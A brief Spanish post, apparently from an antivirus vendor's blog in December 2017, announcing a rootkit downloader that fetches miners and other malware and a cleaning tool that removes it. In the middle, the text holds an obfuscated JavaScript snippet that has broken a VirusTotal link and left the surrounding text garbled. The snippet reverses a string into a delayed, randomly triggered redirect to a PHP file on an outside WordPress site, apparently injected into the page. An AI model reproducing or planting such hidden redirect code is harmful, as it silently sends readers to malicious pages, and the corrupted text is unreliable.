NUEVO ROOTKIT DOWNLOADER Win32/Ruandmel QUE DESCARGA ALEATORIAMENTE DIFERENTES MALWARES

Primero un BitCoinMiner, luego un CONHOST, y asi varios malwares son descargados por este ROOTKIT que si se arranca en MODO SEGURO puede eliminarse a partir del ELISTARA 38.05 de hoy

total de dicho ROOTKIT ofrece el siguiente informe:

Al monitorizarlo hemos obtenido diferentes descargas, por lo que consideramnos que es un downloader aleatorio

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/6529f1944cc63967b053fd5ca27c8e0030d3d787d298ed4727ec1fbfa0b6950b/analysis/1513264582/” target=”_blank” rel=”noopener”>descarga de comhost:

Dicha versión del ELISTARA 38.05 que lo detecta y elimina (en modo seguro) estará disponible en nuestra web a partir del 15-12- prox

saludos

ms, 14-12-2017